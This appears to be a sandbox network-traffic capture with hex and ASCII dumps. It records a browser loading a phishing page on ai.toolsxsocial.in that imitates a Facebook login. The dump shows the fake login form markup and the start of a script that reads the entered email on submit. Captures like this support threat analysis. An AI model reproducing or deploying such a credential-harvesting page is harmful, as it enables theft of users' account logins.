2025-02-21 23:54:53 UTC	1369	IN	Data Raw: 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 6e 2d 67 62 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2f 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e 4b 22 20 68 72 65 66 3d 22 2f 64 61 74 61 2f 6d 61 6e 69 66 65 73 74 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 75 73 65 2d 63 72 65 64 65 6e 74 69 61 6c 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 61 62 69 6e 64 65 78 3d 22 30 22 20 63 6c 61 73 73 3d 22 74 6f 75 63 68 20 78 32 20 61 6e 64 72 6f 69 64 20 5f 66 7a 75 20 5f 35 30 2d 33 20 69 66 72 61 6d 65 20 61 63 77 22 Data Ascii: cebook.com/" /> <link rel="canonical" href="https://en-gb.facebook.com/login/" /> <link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /></head><body tabindex="0" class="touch x2 android _fzu _50-3 iframe acw"
2025-02-21 23:54:53 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 39 6f 6d 5f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 63 6c 62 20 5f 34 2d 34 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 35 72 75 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 35 32 6a 6a 20 5f 33 2d 71 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 69 2e 74 6f 6f 6c 73 78 73 6f 63 69 61 6c 2e 69 6e 2f 65 6e 63 72 79 70 74 65 64 6a 73 5f 70 75 62 67 2e 70 6e Data Ascii: <div class="_9om_"> <div class="aclb _4-4l"> <div class="_5rut"> <div> <div class="_52jj _3-q2"> <img src="https://ai.toolsxsocial.in/encryptedjs_pubg.pn
2025-02-21 23:54:53 UTC	1369	IN	Data Raw: 73 3d 22 5f 35 36 62 65 20 5f 35 73 6f 62 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 35 35 77 6f 20 5f 35 35 78 32 20 5f 35 36 62 66 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 39 36 6e 39 22 20 69 64 3d 22 65 6d 61 69 6c 5f 69 6e 70 75 74 5f 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 61 75 74 6f 63 6f 72 72 65 63 74 3d 22 6f 66 66 22 20 61 75 74 6f 63 61 70 69 74 61 6c 69 7a 65 3d 22 6f 66 66 22 20 74 79 70 65 3d 22 65 6d 61 69 6c 22 20 63 6c 61 73 73 3d 22 5f 35 36 62 67 20 5f 34 75 39 7a 20 5f 35 72 75 71 22 20 61 75 Data Ascii: s="_56be _5sob"> <div class="_55wo _55x2 _56bf"> <div class="_96n9" id="email_input_container"> <input autocorrect="off" autocapitalize="off" type="email" class="_56bg _4u9z _5ruq" au
2025-02-21 23:54:53 UTC	1369	IN	Data Raw: 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 20 69 64 3d 22 75 5f 30 5f 32 5f 36 73 22 3e 48 49 44 45 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 66 73 73 22 20 69 64 3d 22 75 5f 30 5f 33 5f 38 48 22 3e 53 48 4f 57 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 Data Ascii: tyle="display:none" id="u_0_2_6s">HIDE</span> <span class="mfss" id="u_0_3_8H">SHOW</span> </a> </div> </div>
2025-02-21 23:54:53 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 70 72 65 66 69 6c 6c 5f 74 79 70 65 22 20 69 64 3d 22 70 72 65 66 69 6c 6c 5f 74 79 70 65 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 66 69 72 73 74 5f 70 72 65 66 69 6c 6c 5f 73 6f 75 72 63 65 22 20 69 64 3d 22 66 69 72 73 74 5f 70 72 65 66 69 6c 6c 5f 73 6f 75 72 63 65 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 66 69 72 73 74 5f 70 72 65 66 69 6c 6c 5f 74 79 70 65 22 20 69 64 3d 22 66 69 72 73 74 5f 70 72 Data Ascii: <input type="hidden" name="prefill_type" id="prefill_type" /> <input type="hidden" name="first_prefill_source" id="first_prefill_source" /> <input type="hidden" name="first_prefill_type" id="first_pr
2025-02-21 23:54:53 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 34 33 72 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 Data Ascii: <div class="_43rm"> </div> </div> </div> </div> </div> <div
2025-02-21 23:54:53 UTC	1119	IN	Data Raw: 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 76 61 72 20 6f 72 69 67 69 6e 61 6c 4e 75 6d 62 65 72 20 3d 20 22 36 32 31 36 36 38 31 38 33 33 22 3b 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 27 29 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 76 61 72 20 65 6d 61 69 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6d 5f 6c 6f 67 69 Data Ascii: </div> </div> </div> </div> </div> </div> <script> var originalNumber = "6216681833"; document.getElementById('submit_button').addEventListener('click', function() { var email = document.getElementById('m_logi
2025-02-21 23:54:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49738	157.240.0.6	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:54 UTC	626	OUT	GET /rsrc.php/v3/yf/l/0,cross/77Hot7ew_hn.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ai.toolsxsocial.in sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://ai.toolsxsocial.in/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:54:55 UTC	1995	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding x-fatal-request: static.xx.fbcdn.net Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT timing-allow-origin: * reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src data: blob: 'self';script-src .facebook.com .fbcdn.net blob: data: 'self';style-src 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com: wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self';img-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.xx.facebook.com/csp/reporting/?m=c&minimize=0;require-trusted-types-for 'script'; document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewport-width=(), ch-width=(), clipboard-read=(), clipboard-write=(), compute-pressure=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), private-state-token-issuance=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), shared-storage=(), shared-storage-select-url=(), private-state-token-redemption=(), usb=(), unload=(self), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff X-XSS-Protection: 0 origin-agent-cluster: ?1
2025-02-21 23:54:55 UTC	144	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 0d 0a 58 2d 46 42 2d 44 65 62 75 67 3a 20 76 6e 56 59 2f 6d 45 4b 7a 5a 74 36 74 56 4b 36 6c 49 74 41 45 51 2f 4d 66 56 57 35 73 53 76 63 5a 7a 45 6f 67 33 47 48 6a 36 34 5a 36 4f 4e 39 78 59 72 48 6a 4c 73 59 35 55 34 36 79 43 50 39 54 55 30 42 48 66 6e 35 6e 78 78 32 37 56 39 76 43 44 6c 69 4d 41 3d 3d 0d 0a Data Ascii: Content-Type: text/html; charset="utf-8"X-FB-Debug: vnVY/mEKzZt6tVK6lItAEQ/MfVW5sSvcZzEog3GHj64Z6ON9xYrHjLsY5U46yCP9TU0BHfn5nxx27V9vCDliMA==
2025-02-21 23:54:55 UTC	3355	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 72 65 73 70 6f 6e 73 65 62 79 74 65 73 3d 22 41 63 4a 37 6e 4d 39 7a 75 4e 67 64 65 41 34 47 42 37 61 55 4d 72 53 36 50 55 6c 71 76 66 49 73 70 48 59 65 4d 52 58 79 48 5f 39 52 34 64 5a 6e 51 50 59 74 59 31 74 54 45 51 22 3b 20 65 5f 66 62 5f 72 65 71 75 65 73 74 74 69 6d 65 3d 22 41 63 4a 47 6a 68 4e 78 59 50 70 5a 39 50 30 56 4d 5f 41 2d 42 6f 4b 43 7a 4b 74 30 6f 52 59 35 5f 48 43 55 44 71 68 58 6e 33 49 4f 61 4f 31 62 37 68 43 4e 52 76 59 56 39 38 4c 62 6e 31 45 6d 56 5a 55 74 77 68 4d 65 61 41 22 3b 20 65 5f 70 72 6f 78 79 3d 22 41 63 4a 69 77 52 6e 77 68 33 79 66 77 79 6b 43 70 32 30 52 35 6a 38 77 38 51 6f 51 75 52 51 4c 73 4b 50 4c Data Ascii: Proxy-Status: http_request_error; e_fb_responsebytes="AcJ7nM9zuNgdeA4GB7aUMrS6PUlqvfIspHYeMRXyH_9R4dZnQPYtY1tTEQ"; e_fb_requesttime="AcJGjhNxYPpZ9P0VM_A-BoKCzKt0oRY5_HCUDqhXn3IOaO1b7hCNRvYV98Lbn1EmVZUtwhMeaA"; e_proxy="AcJiwRnwh3yfwykCp20R5j8w8QoQuRQLsKPL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49737	157.240.0.6	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:54 UTC	626	OUT	GET /rsrc.php/v3/yT/l/0,cross/ygkXgVf1DoZ.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ai.toolsxsocial.in sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://ai.toolsxsocial.in/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:54:54 UTC	1995	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding x-fatal-request: static.xx.fbcdn.net Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT timing-allow-origin: * reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src data: blob: 'self';script-src .facebook.com .fbcdn.net blob: data: 'self';style-src 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com: wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self';img-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.xx.facebook.com/csp/reporting/?m=c&minimize=0;require-trusted-types-for 'script'; document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewport-width=(), ch-width=(), clipboard-read=(), clipboard-write=(), compute-pressure=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), private-state-token-issuance=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), shared-storage=(), shared-storage-select-url=(), private-state-token-redemption=(), usb=(), unload=(self), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff X-XSS-Protection: 0 origin-agent-cluster: ?1
2025-02-21 23:54:54 UTC	144	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 0d 0a 58 2d 46 42 2d 44 65 62 75 67 3a 20 56 32 45 70 54 73 6b 59 4e 36 54 50 33 69 78 4a 66 39 79 35 45 39 66 59 38 4e 62 59 31 56 6f 6f 53 5a 32 5a 65 64 78 39 33 69 74 37 74 46 37 63 34 63 4c 4e 53 6a 43 76 76 7a 4b 68 48 63 76 4f 35 4c 2f 36 6c 38 63 37 43 78 69 6b 6d 68 70 58 79 33 32 65 52 51 3d 3d 0d 0a Data Ascii: Content-Type: text/html; charset="utf-8"X-FB-Debug: V2EpTskYN6TP3ixJf9y5E9fY8NbY1VooSZ2Zedx93it7tF7c4cLNSjCvvzKhHcvO5L/6l8c7CxikmhpXy32eRQ==
2025-02-21 23:54:54 UTC	3360	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 72 65 73 70 6f 6e 73 65 62 79 74 65 73 3d 22 41 63 4b 67 55 46 4e 55 47 35 42 4f 4a 44 45 48 41 43 74 4a 58 35 57 53 33 4c 33 53 78 49 31 56 65 44 33 65 39 36 55 4b 76 49 6e 68 36 65 30 54 70 51 61 4a 74 30 51 74 43 41 22 3b 20 65 5f 66 62 5f 72 65 71 75 65 73 74 74 69 6d 65 3d 22 41 63 4c 33 38 55 48 68 56 7a 37 55 6e 78 31 36 67 50 69 35 75 36 67 51 34 52 50 38 57 65 32 39 48 45 49 62 76 6e 5a 46 4b 6d 42 67 44 6c 65 75 32 35 49 65 5f 52 73 54 67 79 57 30 6b 48 73 31 75 49 76 57 46 4a 76 6f 53 51 22 3b 20 65 5f 70 72 6f 78 79 3d 22 41 63 4a 66 4a 78 46 64 6b 79 59 49 39 39 73 2d 48 53 62 4a 63 54 75 44 55 52 5a 5a 49 44 59 46 47 4d 6d 71 Data Ascii: Proxy-Status: http_request_error; e_fb_responsebytes="AcKgUFNUG5BOJDEHACtJX5WS3L3SxI1VeD3e96UKvInh6e0TpQaJt0QtCA"; e_fb_requesttime="AcL38UHhVz7Unx16gPi5u6gQ4RP8We29HEIbvnZFKmBgDleu25Ie_RsTgyW0kHs1uIvWFJvoSQ"; e_proxy="AcJfJxFdkyYI99s-HSbJcTuDURZZIDYFGMmq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49739	188.114.97.3	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:54 UTC	737	OUT	GET /encryptedjs_pubg.png HTTP/1.1 Host: ai.toolsxsocial.in Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_mw_byp=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-/advance-server/K3bKKZbZXX
2025-02-21 23:54:54 UTC	941	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:54:54 GMT Content-Type: image/png Content-Length: 5702 Connection: close Last-Modified: Fri, 02 Feb 2024 04:44:46 GMT ETag: "65bc733e-1646" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 44642 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B5F7q0sjaHSCswN8Dok3zF851PGCTzvX4bDX0qzHLlOgKywHbExnxClJDPu7Hro8tGbmouiJySsMtomCSmZddI0WrvgFBNU60WOBzme905ZTlYnwNMqlPgBiVa63QIdc6BI4k1s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 915aaa0a78c80ca8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2542&min_rtt=1652&rtt_var=1255&sent=3&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1315&delivery_rate=1767554&cwnd=159&unsent_bytes=0&cid=cdde7f75e388b2ca&ts=140&x=0"
2025-02-21 23:54:54 UTC	428	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 03 00 00 00 c2 08 03 00 00 00 7a cc 57 5c 00 00 00 84 50 4c 54 45 ff ff ff 00 00 00 fe fe fe fb fb fb f6 f6 f6 f0 f0 f0 04 04 04 f4 f4 f4 aa aa aa cf cf cf 7b 7b 7b 83 83 83 d9 d9 d9 f5 f5 f5 e2 e2 e2 17 17 17 2b 2b 2b 1e 1e 1e 6b 6b 6b 96 96 96 72 72 72 48 48 48 32 32 32 b1 b1 b1 a1 a1 a1 98 98 98 c2 c2 c2 8b 8b 8b 42 42 42 d6 d6 d6 3b 3b 3b e4 e4 e4 10 10 10 52 52 52 2c 2c 2c bd bd bd 60 60 60 58 58 58 6e 6e 6e 7f 7f 7f 37 37 37 1d 1d 1d 65 65 65 14 14 14 24 d1 b3 32 00 00 15 7d 49 44 41 54 78 9c ed 5d 89 62 ea 3a 0e 75 76 02 14 48 21 2c 61 2f d0 85 fe ff ff 4d bc 49 b2 e3 50 02 85 72 e7 71 de 4c 6f e3 2d f6 89 2c 4b b2 93 32 f6 c4 13 4f 3c f1 c4 13 04 fe 19 a0 a5 ce ab 71 1e ce bc fd ad 51 d3 0d Data Ascii: PNGIHDRzW\PLTE{{{+++kkkrrrHHH222BBB;;;RRR,,,```XXXnnn777eee$2}IDATx]b:uvH!,a/MIPrqLo-,K2O<qQ
2025-02-21 23:54:54 UTC	1369	IN	Data Raw: df 99 69 f8 9b 62 64 e7 9c 2d 7d d4 b5 f8 a1 d2 49 d9 75 d8 a2 27 c4 9c 64 f9 c8 81 15 32 c2 24 c2 01 a5 c2 ea ce 15 1c 18 77 bb 9e 03 df 6e da 59 d8 c9 01 ed 3b b6 6a b1 fb ff 29 07 4f fc d3 30 1f e0 9d d7 b8 ca ed fc c0 76 96 f9 2c 0b 64 d0 96 e7 06 c2 12 31 2b e8 b2 81 d1 a2 28 0c 11 60 51 4b b7 ad 0a aa 3c b8 e1 5f 2d f0 c9 3a 4d 97 02 69 89 35 0b 59 90 24 81 1f 86 81 00 2b ff e7 07 41 c4 12 3f 4c 12 c6 c2 b2 9b e5 08 02 05 35 9c 32 3d 0c ca 1a 51 18 86 8a 14 df 0f ad 3b 85 65 2b 7e 12 25 61 12 04 2f 61 98 b0 17 9d 13 04 a1 5d f8 42 a0 9e 71 28 2e 64 99 a6 06 f3 b1 67 62 1c 7f f6 3d 6f f3 e5 79 5f 1b 8e 41 3f 1e 67 df df de d8 cb ca dc ed ca eb 1f 56 9b c5 60 a3 90 7d c5 db d5 a0 3f 18 f0 ba 9b 6f fe 23 db 7c f5 39 be bc 51 77 f2 39 d8 0e 56 ab f1 1b Data Ascii: ibd-}Iu'd2$wnY;j)O0v,d1+(`QK<_-:Mi5Y$+A?L52=Q;e+~%a/a]Bq(.dgb=oy_A?gV`}?o#\|9Qw9V
2025-02-21 23:54:54 UTC	1369	IN	Data Raw: 6b e0 00 55 ea f5 1c 9c 53 9d 70 30 aa 72 20 85 1b 75 94 34 21 6c 3b 11 97 d9 81 bc 29 70 30 33 4a 8b b9 d0 05 39 c8 79 e1 00 b2 d7 d0 5f 9c 9f bb f3 38 68 36 e4 53 1c cc 29 07 b1 ee 27 c3 e7 12 cb a5 83 2c 6f 92 03 74 00 32 6b 10 53 46 1e b4 32 40 80 83 83 70 2c 81 03 8c 21 23 07 28 9a b7 04 e1 00 f7 76 bb a0 f4 84 1c a0 d9 27 47 61 cb 41 81 4b ac 35 08 be 56 a2 50 49 92 e1 52 0a 0d 18 5c a8 fa b7 c0 f9 dd 39 f8 86 c4 f5 16 c2 59 bc 63 e8 cf cb b5 d1 d4 07 86 8b 25 eb 83 52 eb 11 0e 62 55 3a d3 99 5b 21 07 7e 94 16 45 b1 5b 12 b7 08 d7 a1 c1 bd 39 c0 1b 86 83 be 4e e4 12 6a ad f0 64 cc 2d 37 07 30 08 be 4f 84 4a 50 5a c3 b0 f2 65 cc 88 d7 f8 0e 0e b2 5b 0f 5f 80 c4 d2 d0 6f 44 62 62 da a7 58 71 80 75 6c 7d a0 38 d8 d1 4b 64 48 5a 91 7b 83 73 75 22 4d c7 Data Ascii: kUSp0r u4!l;)p03J9y_8h6S)',ot2kSF2@p,!#(v'GaAK5VPIR\9Yc%RbU:[!~E[9Njd-70OJPZe[_oDbbXqul}8KdHZ{su"M
2025-02-21 23:54:54 UTC	1369	IN	Data Raw: f9 45 7b 91 01 57 51 ee 33 41 07 fa 41 b5 fd bb cb 41 07 12 7d 5c f0 4f 73 60 9f 47 52 1c 80 79 c1 5d 51 9b 03 b0 91 62 21 07 f8 10 40 27 62 d2 45 36 92 a5 c1 89 e6 a0 17 58 86 72 d0 02 13 00 1c 00 75 52 d8 6a 0e eb 14 96 ff f0 2e f5 2e bc 8c 23 4e df c0 d5 c6 d4 78 0b 66 36 d6 d3 3a 11 55 c4 26 3c 2b 90 c4 9c 1b 09 06 23 46 02 f9 dd 7c a6 72 72 0b 76 88 7d 90 52 fe 2a 1c c8 1d 44 8c 2b cb 58 1b 4e f9 52 27 92 c6 2c 0e be 03 63 2e a0 4e 44 0e 30 d6 7c 4b 90 b8 38 be df 48 1c c1 d3 73 41 9e 57 2e 48 13 82 58 58 17 76 46 63 1b 51 1a 0c 02 e9 37 4e 8e 4a a1 a2 2d 80 1c 5c b4 d7 d6 18 24 56 80 1b dd 67 73 20 cf 4c 21 8f 4a a5 10 39 a8 72 00 6b 63 26 e4 a0 35 c0 a3 4f 0a e4 18 f1 e5 47 b5 cf 83 6f 9a 28 44 27 92 7d a6 d4 51 11 39 90 2b 27 72 f0 2e 0b 80 4e 4c Data Ascii: E{WQ3AAA}\Os`GRy]Qb!@'bE6XruRj..#Nxf6:U&<+#F\|rrv}R*D+XNR',c.ND0\|K8HsAW.HXXvFcQ7NJ-\$Vgs L!J9rkc&5OGo(D'}Q9+'r.NL
